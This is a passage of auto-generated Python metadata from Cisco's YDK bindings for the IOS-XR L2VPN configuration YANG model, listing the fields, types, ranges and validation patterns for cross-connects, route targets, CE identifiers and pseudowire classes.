['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the attachment circuit interface ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable attachment circuit interface ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'attachment-circuit', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits', False, [ _MetaInfoClassMember('attachment-circuit', REFERENCE_LIST, 'AttachmentCircuit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit', [], [], ''' Attachment circuit interface ''', 'attachment_circuit', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'attachment-circuits', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [(0, 38)], [], ''' Name of the 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_MetaInfoClassMember('monitor-sessions', REFERENCE_CLASS, 'MonitorSessions' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions', [], [], ''' List of Monitor session segments ''', 'monitor_sessions', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('p2p-description', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' cross connect description Name ''', 'p2p_description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-evpns', REFERENCE_CLASS, 'PseudowireEvpns' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns', [], [], ''' List of EVPN Services ''', 'pseudowire_evpns', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-routeds', REFERENCE_CLASS, 'PseudowireRouteds' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds', [], [], ''' List of pseudowire-routed ''', 'pseudowire_routeds', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowires', REFERENCE_CLASS, 'Pseudowires' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires', [], [], ''' List of pseudowires ''', 'pseudowires', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'p2p-xconnect', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects', False, [ _MetaInfoClassMember('p2p-xconnect', REFERENCE_LIST, 'P2PXconnect' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect', [], [], ''' Point to point xconnect ''', 'p2p_xconnect', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'p2p-xconnects', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.RouteDistinguisher' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.RouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router distinguisher type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRoutePolicy' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRoutePolicy', False, [ _MetaInfoClassMember('export', ATTRIBUTE, 'str' , None, None, [], [], ''' Export route policy ''', 'export', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('import', ATTRIBUTE, 'str' , None, None, [], [], ''' Import route policy ''', 'import_', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mp2mp-route-policy', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.TwoByteAsOrFourByteAs' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.TwoByteAsOrFourByteAs', False, [ _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'two-byte-as-or-four-byte-as', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.Ipv4Address' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.Ipv4Address', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ipv4-address', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget', False, [ _MetaInfoClassMember('format', REFERENCE_ENUM_CLASS, 'BgpRouteTargetFormatEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetFormatEnum', [], [], ''' Format of the route target ''', 'format', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('role', REFERENCE_ENUM_CLASS, 'BgpRouteTargetRoleEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetRoleEnum', [], [], ''' Role of the router target type ''', 'role', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('ipv4-address', REFERENCE_LIST, 'Ipv4Address' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.Ipv4Address', [], [], ''' ipv4 address ''', 'ipv4_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('two-byte-as-or-four-byte-as', REFERENCE_LIST, 'TwoByteAsOrFourByteAs' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.TwoByteAsOrFourByteAs', [], [], ''' two byte as or four byte as ''', 'two_byte_as_or_four_byte_as', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mp2mp-route-target', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets', False, [ _MetaInfoClassMember('mp2mp-route-target', REFERENCE_LIST, 'Mp2MpRouteTarget' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget', [], [], ''' Name of the Route Target ''', 'mp2mp_route_target', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mp2mp-route-targets', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.FlowLabelLoadBalance' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.FlowLabelLoadBalance', False, [ _MetaInfoClassMember('flow-label', REFERENCE_ENUM_CLASS, 'FlowLabelLoadBalanceEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'FlowLabelLoadBalanceEnum', [], [], ''' Flow Label load balance type ''', 'flow_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('static', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Static Flow Label ''', 'static', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'flow-label-load-balance', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits.RemoteCeidAttachmentCircuit' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits.RemoteCeidAttachmentCircuit', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' The name of the Attachment Circuit ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('remote-ce-id', ATTRIBUTE, 'int' , None, None, [('1', '16384')], [], ''' Remote Customer Edge Identifier ''', 'remote_ce_id', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'remote-ceid-attachment-circuit', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits', False, [ _MetaInfoClassMember('remote-ceid-attachment-circuit', REFERENCE_LIST, 'RemoteCeidAttachmentCircuit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits.RemoteCeidAttachmentCircuit', [], [], ''' AC And Remote Customer Edge Identifier ''', 'remote_ceid_attachment_circuit', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'remote-ceid-attachment-circuits', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid', False, [ _MetaInfoClassMember('ce-id', ATTRIBUTE, 'int' , None, None, [('1', '16384')], [], ''' Local Customer Edge Identifier ''', 'ce_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('remote-ceid-attachment-circuits', REFERENCE_CLASS, 'RemoteCeidAttachmentCircuits' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid.RemoteCeidAttachmentCircuits', [], [], ''' AC And Remote Customer Edge Identifier Table ''', 'remote_ceid_attachment_circuits', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ceid', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids', False, [ _MetaInfoClassMember('ceid', REFERENCE_LIST, 'Ceid' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids.Ceid', [], [], ''' Local Customer Edge Identifier ''', 'ceid', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ceids', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol', False, [ _MetaInfoClassMember('ce-range', ATTRIBUTE, 'int' , None, None, [('11', '100')], [], ''' Local Customer Edge Identifier ''', 'ce_range', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('ceids', REFERENCE_CLASS, 'Ceids' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol.Ceids', [], [], ''' Local Customer Edge Identifier Table ''', 'ceids', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable signaling protocol ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('flow-label-load-balance', REFERENCE_CLASS, 'FlowLabelLoadBalance' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 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'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRoutePolicy', [], [], ''' Route policy ''', 'mp2mp_route_policy', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mp2mp-route-targets', REFERENCE_CLASS, 'Mp2MpRouteTargets' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets', [], [], ''' Route Target ''', 'mp2mp_route_targets', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mp2mp-signaling-protocol', REFERENCE_CLASS, 'Mp2MpSignalingProtocol' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpSignalingProtocol', [], [], ''' signaling protocol in this MP2MP ''', 'mp2mp_signaling_protocol', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('route-distinguisher', REFERENCE_CLASS, 'RouteDistinguisher' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.RouteDistinguisher', [], [], ''' Route Distinguisher ''', 'route_distinguisher', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mp2mp-auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [(0, 26)], [], ''' Name of the multi point to multi point xconnect ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('mp2mp-auto-discovery', REFERENCE_CLASS, 'Mp2MpAutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery', [], [], ''' auto-discovery in this MP2MP ''', 'mp2mp_auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mp2mp-control-word', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Disable control word ''', 'mp2mp_control_word', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mp2mp-interworking', REFERENCE_ENUM_CLASS, 'InterworkingEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'InterworkingEnum', [], [], ''' Interworking ''', 'mp2mp_interworking', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mp2mp-shutdown', ATTRIBUTE, 'Empty' , None, None, [], [], ''' shutdown this MP2MP VPWS instance ''', 'mp2mp_shutdown', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mp2mpl2-encapsulation', REFERENCE_ENUM_CLASS, 'L2EncapsulationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2EncapsulationEnum', [], [], ''' Configure Layer 2 Encapsulation ''', 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'L2Vpn.Database.PseudowireClasses.PseudowireClass.L2Tpv3Encapsulation', [], [], ''' L2TPv3 encapsulation ''', 'l2tpv3_encapsulation', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mac-withdraw', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable backup MAC withdraw ''', 'mac_withdraw', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mpls-encapsulation', REFERENCE_CLASS, 'MplsEncapsulation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.PseudowireClasses.PseudowireClass.MplsEncapsulation', [], [], ''' MPLS encapsulation ''', 'mpls_encapsulation', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-class', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.PseudowireClasses' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.PseudowireClasses', False, [ _MetaInfoClassMember('pseudowire-class', REFERENCE_LIST, 'PseudowireClass' , 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'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices.VlanUnawareFlexibleXconnectService.VlanUnawareFxcPseudowireEvpns.VlanUnawareFxcPseudowireEvpn', [], [], ''' EVPN FXC Service Configuration ''', 'vlan_unaware_fxc_pseudowire_evpn', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'vlan-unaware-fxc-pseudowire-evpns', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices.VlanUnawareFlexibleXconnectService' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices.VlanUnawareFlexibleXconnectService', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [(0, 23)], [], ''' Name of the Flexible XConnect Service ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('vlan-unaware-fxc-attachment-circuits', REFERENCE_CLASS, 'VlanUnawareFxcAttachmentCircuits' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices.VlanUnawareFlexibleXconnectService.VlanUnawareFxcAttachmentCircuits', [], [], ''' List of attachment circuits ''', 'vlan_unaware_fxc_attachment_circuits', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('vlan-unaware-fxc-pseudowire-evpns', REFERENCE_CLASS, 'VlanUnawareFxcPseudowireEvpns' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices.VlanUnawareFlexibleXconnectService.VlanUnawareFxcPseudowireEvpns', [], [], ''' List of EVPN Services ''', 'vlan_unaware_fxc_pseudowire_evpns', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'vlan-unaware-flexible-xconnect-service', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices', False, [ _MetaInfoClassMember('vlan-unaware-flexible-xconnect-service', REFERENCE_LIST, 'VlanUnawareFlexibleXconnectService' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices.VlanUnawareFlexibleXconnectService', [], [], ''' Flexible XConnect Service ''', 'vlan_unaware_flexible_xconnect_service', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'vlan-unaware-flexible-xconnect-services', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.FlexibleXconnectServiceTable' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.FlexibleXconnectServiceTable', False, [ _MetaInfoClassMember('vlan-unaware-flexible-xconnect-services', REFERENCE_CLASS, 'VlanUnawareFlexibleXconnectServices' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.FlexibleXconnectServiceTable.VlanUnawareFlexibleXconnectServices', [], [], ''' List of Vlan-Unaware Flexible XConnect Services ''', 'vlan_unaware_flexible_xconnect_services', 